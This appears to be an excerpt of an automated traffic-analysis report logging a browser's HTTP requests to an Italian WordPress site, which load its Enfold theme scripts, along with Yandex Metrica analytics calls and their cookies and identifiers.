&t=gdpr(14)clc(0-0-0)rqnt(1)aw(1)rcm(1)cdl(na)eco(42009088)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071926%3Aet%3A1736425167%3Ac%3A1%3Arn%3A645420672%3Arqn%3A1%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15316%3Awv%3A2%3Ads%3A80%2C702%2C439%2C117%2C799%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425168%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_check HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071926%3Aet%3A1736425167%3Ac%3A1%3Arn%3A645420672%3Arqn%3A1%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15316%3Awv%3A2%3Ads%3A80%2C702%2C439%2C117%2C799%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425168%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_start?redirect_domain=mc.yandex.com&token=10611.FbrXZOQetWtOhWNidnx8SrNpJCm7npvfFh5QbMLx1fMZgV2U5YpHZ19yM6qeSPro.GOR9bmAnKLLv1S9w2wxjABMq3CA%2C HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; yandexuid=261293701736425167; yashr=7067508691736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/aviapopup/jquery.magnific-popup.min.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&pointer-click=rn%3A355398446%3Ax%3A46810%3Ay%3A9362%3At%3A33%3Ap%3A%3FAAA8%3AX%3A522%3AY%3A442&browser-info=u%3A1736425167496978039%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1736425170&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=239647205fake
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-lightbox.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
